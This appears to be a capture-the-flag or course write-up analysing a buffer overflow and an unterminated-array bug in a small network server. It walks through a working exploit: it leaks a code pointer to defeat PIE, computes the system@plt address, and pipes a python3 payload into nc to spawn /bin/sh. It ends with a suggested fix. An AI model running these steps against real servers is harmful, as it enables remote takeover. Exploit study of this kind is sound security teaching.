Analysis of the bug =================== The program contains two bugs: * the `c.arg` array is not terminated if the input doesn't contain a newline; * the second `read()` reads up to `CMD_MAX` bytes instead of `ARG_MAX`, thus potentially overflowing the `c.arg` array. Attack plan =========== The idea is to overwite the `f` pointer in the `cmd` structure with the address of `system@plt`. The `system()` function will then execute the command stored in `c.arg`. Since PIE is active, we need to leak an address first. For this we can exploit the first bug: by sending 8 bytes to the `e` command without any newline, the `echo` function will print our bytes followed by the contents of the `f` pointer (which contains the address of `echo` itself). Attack implementation ===================== First we send an `e` command followed by eigth non-newline chars and capture the output: ```sh nc $SERVER $PORT > out e12345678^D^C ``` note the `^D` to flush the input bytes without sending a newline, and the `^C` to terminate the connection. If we read `out` with, e.g, `hexdump -C`, we should be able to see our 8 bytes followed by the bytes making up the address of `echo`. For example, assume that the output of `hexdump -C out` is as follows: ``` 00000000 31 32 33 34 35 36 37 38 a9 a4 c5 b3 a5 55 0a |12345678.....U.| 0000000f ``` Then the address of `echo` is 0x55a5b3c5a4a9. The offset of `echo` from the load address can be obtained with ```sh nm server | grep echo ``` and is 0x14a9, implying that the load address is 0x55a5b3c5a4a9 - 0x14a9 = 0x55a5b3c59000 Now we can compute the absolute address of `system@plt`. The offset from the load address can be obtained with ```sh objdump -d server | grep system@plt ``` and is 0x1240. implying that the absolute address of `system@plt` is 0x55a5b3c59000 + 0x1240 = 0x55a5b3c5a240 Now we can exploit the overflow bug to spawn a shell ```sh export PYTHONIOENCODING=iso-8859-1 { python3 -c "print("e/bin/sh\n"+"\x00\x00\x55\xa5\xb3\xc5\xa2\x40"[::-1], end=""); cat; } | nc $SERVER $PORT ``` Suggested fix ============= The second `read()` should use `MAX_ARG` instead of `MAX_CMD`. The code should probably return an error if no newline is found in the first `MAX_ARG` bytes after the command char.